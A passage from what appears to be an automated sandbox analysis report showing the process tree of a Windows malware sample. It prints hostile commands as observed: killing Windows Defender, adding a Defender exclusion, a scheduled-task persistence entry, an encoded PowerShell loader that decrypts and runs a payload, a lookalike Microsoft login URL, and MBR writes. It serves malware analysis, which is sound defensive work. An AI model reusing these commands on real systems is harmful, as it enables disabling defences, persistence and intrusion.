      Enumerates system info in registry
      PID:3184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K doxx.cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig
      4⤵
      Gathers network information
      PID:1280
  - - C:\Windows\SysWOW64\net.exe
      net accounts
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4364
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 accounts
        5⤵
        
        PID:4292
  - - C:\Windows\SysWOW64\net.exe
      net user
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3980
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:3796
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist /apps /v /fo table
      4⤵
      Enumerates processes with tasklist
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4424
- - C:\Windows\SysWOW64\PING.EXE
    ping google.com -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:2996
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WindowsDefender.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4232
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K handler.cmd
    3⤵
    PID:4752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://https-login--microsoftonline--com.httpsproxy.net/common/reprocess?ctx=rQQIARAAhZI7b9tmFED1sOUH2tpIi6IBOjhFh6IppU98SgYykCZDSRZJW3xY5CKQFCU-RVokRZFjl2RMlg4BshToYrRA0S5FG7SZPRhBhg7JP_AQFB0Kb42SzEaWi3twz3bP9iZeR9A6qIOvq3Ad7H-JEjiGopgBIbCJQ2jbAFALsXCoOW4jqxNM4KY-v7G9i-78f4He2iD_ePzfk3vPf5TPynt2kkTxfqORZVk9nEwc06qbYdDw9dnYmU0X8G_l8rNy-VFl3ZpBsnhWiXGkhcJNFGmBFsDaTQKH65zb8wRJbWoBk_Cul_M5AHwxsPvSNOfoaaIGXUyVGJSXNFujuaXA9hy1kFcOmXC02VRXPif5K98PBLabqK5XaPQxrAWaL9Ac9qKyI5BpYsNvRjh3CuvfytYknAejKIyTR9XvKoGro8xdDerJTJDKBVpkA3HQQxkptBTACrQWELhCGxZNePmSF8BEyn3F7rQ0KOCXrLqQj6kxnlMCCVEpaaUDKj_tKzOJ6BkeTSnDUetQtPsTxE1OTN1gjcg-POpSQ4ykAsZkMX45UsQCCU_5JZeTkD8vIN1dmrSWGJno6EfQMmMD21UOID81JddwLSocRJMoPvRswVPmTtA9WQCP46dSMHdka44OOUk7SY_jTFmQTCcba0LsQDMePZ0NxU6XUJnIwMBowJLNaS_MME4FqLhoH6Xs8YA2AacL_QwLs7PqzWveu4B_qdZWSxDOzqtEGFkzZ7wXzcOJ41vXJbGAG8Jb6oSBVSd9_9la-XLt083a7heflfZKX30CqvubK6q-oau18vfrq-Ie_nr558W3Nw9-euJ-_vCELZ2vN1zR6cSnlNVQ1Wnum32xKJZ3Va7X16c8OwAm65q9NB22iNvynfZ-80Gt_KBWO69tdekRz0j4CPxTq93fKP2-9d52X3zw8fZ26oz80NR9K77xruGnH5auPnr5198XPzy-_6pzufONeVuOnDFsZIJCTaX2kJOLlCQbrkCQzpF0wCBa4VHDIkTG8Z2fd0uvAQ2
    3⤵
    - Enumerates system info in registry
    PID:1900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcf3853cb8,0x7ffcf3853cc8,0x7ffcf3853cd8
      4⤵
      PID:4588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1992 /prefetch:2
      4⤵
      PID:1964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2536 /prefetch:8
      4⤵
      PID:5088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3060 /prefetch:1
      4⤵
      PID:4184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3076 /prefetch:1
      4⤵
      PID:2492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3736 /prefetch:1
      4⤵
      PID:4420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5480 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4496 /prefetch:1
      4⤵
      PID:4188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
      4⤵
      PID:3100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2312 /prefetch:1
      4⤵
      PID:5284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:1
      4⤵
      PID:5752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5584 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1980,6395098030525641402,15771836624368272733,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2076 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K cipher.cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:5796
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:6124
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:3844
- - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\Rover.exe
    Rover.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\web.htm
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:72
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcf3853cb8,0x7ffcf3853cc8,0x7ffcf3853cd8
      4⤵
      PID:3080
- - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\Google.exe
    Google.exe
    3⤵
    - Executes dropped EXE
    PID:2772
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\helper.vbs"
    3⤵
    PID:5772
- - C:\Windows\SysWOW64\PING.EXE
    ping google.com -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:6084
- - C:\Windows\SysWOW64\PING.EXE
    ping mrbeast.codes -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:5712
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy Google.exe C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:5832
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy Rover.exe C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:6020
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy spinner.gif C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:3084
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K bloatware.cmd
    3⤵
    - Modifies registry class
    PID:3304
  - - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\bloatware\1.exe
      1.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5316
  - - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\bloatware\3.exe
      3.exe
      4⤵
      Executes dropped EXE
      Modifies registry class
      Suspicious use of SetWindowsHookEx
      PID:5272
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5272 -s 1860
        5⤵
        Program crash
        
        PID:5516
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\bloatware\2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      4⤵
      Blocklisted process makes network request
      PID:5500
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K SilentSetup.cmd
      4⤵
      PID:5540
    - - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\bloatware\4\WinaeroTweaker-1.40.0.0-setup.exe
        
        WinaeroTweaker-1.40.0.0-setup.exe /SP- /VERYSILENT
        5⤵
        Executes dropped EXE
        
        PID:1772
      - C:\Users\Admin\AppData\Local\Temp\is-3BTLQ.tmp\WinaeroTweaker-1.40.0.0-setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3BTLQ.tmp\WinaeroTweaker-1.40.0.0-setup.tmp" /SL5="$302DC,2180794,169984,C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\bloatware\4\WinaeroTweaker-1.40.0.0-setup.exe" /SP- /VERYSILENT
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:5764
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im winaerotweaker.exe /f
        7⤵
        
        PID:6076
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im winaerotweaker.exe /f
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2652
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im winaerotweakerhelper.exe /f
        7⤵
        
        PID:5868
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im winaerotweakerhelper.exe /f
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5588
- - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\regmess.exe
    regmess.exe
    3⤵
    - Executes dropped EXE
    PID:5092
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\regmess_cc7fc174-a003-4996-90dc-7bf4ae6ef4d5\regmess.bat" "
      4⤵
      PID:5440
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Setup.reg /reg:32
        5⤵
        
        PID:1664
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Console.reg /reg:32
        5⤵
        
        PID:1340
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Desktop.reg /reg:32
        5⤵
        Sets desktop wallpaper using registry
        
        PID:1176
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import International.reg /reg:32
        5⤵
        
        PID:4428
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Fonts.reg /reg:32
        5⤵
        Modifies Internet Explorer settings
        
        PID:3432
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Cursors.reg /reg:32
        5⤵
        
        PID:3824
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:3416
- - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\scary.exe
    scary.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious use of AdjustPrivilegeToken
    PID:5988
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:3084
  - - C:\Program Files\SubDir\Romilyaa.exe
      "C:\Program Files\SubDir\Romilyaa.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:2604
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        5⤵
        Creates scheduled task(s)
        
        PID:5148
- - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\the.exe
    the.exe
    3⤵
    - Executes dropped EXE
    PID:5972
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      4⤵
      UAC bypass
      Windows security bypass
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4048
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\the.exe" -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1528
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        5⤵
        Drops startup file
        Suspicious use of AdjustPrivilegeToken
        
        PID:432
      - C:\Users\Admin\Pictures\kQHioulRPhZaQbACXr9gjsus.exe
        
        "C:\Users\Admin\Pictures\kQHioulRPhZaQbACXr9gjsus.exe" /s
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3444
        
        C:\Users\Admin\Pictures\360TS_Setup.exe
        
        "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious use of SetWindowsHookEx
        
        PID:4252
        
        C:\Program Files (x86)\1716933062_0\360TS_Setup.exe
        
        "C:\Program Files (x86)\1716933062_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Drops file in Program Files directory
        Suspicious use of SetWindowsHookEx
        
        PID:3584
      - C:\Users\Admin\Pictures\yZcplMW9zYciItddg9zCgNQX.exe
        
        "C:\Users\Admin\Pictures\yZcplMW9zYciItddg9zCgNQX.exe"
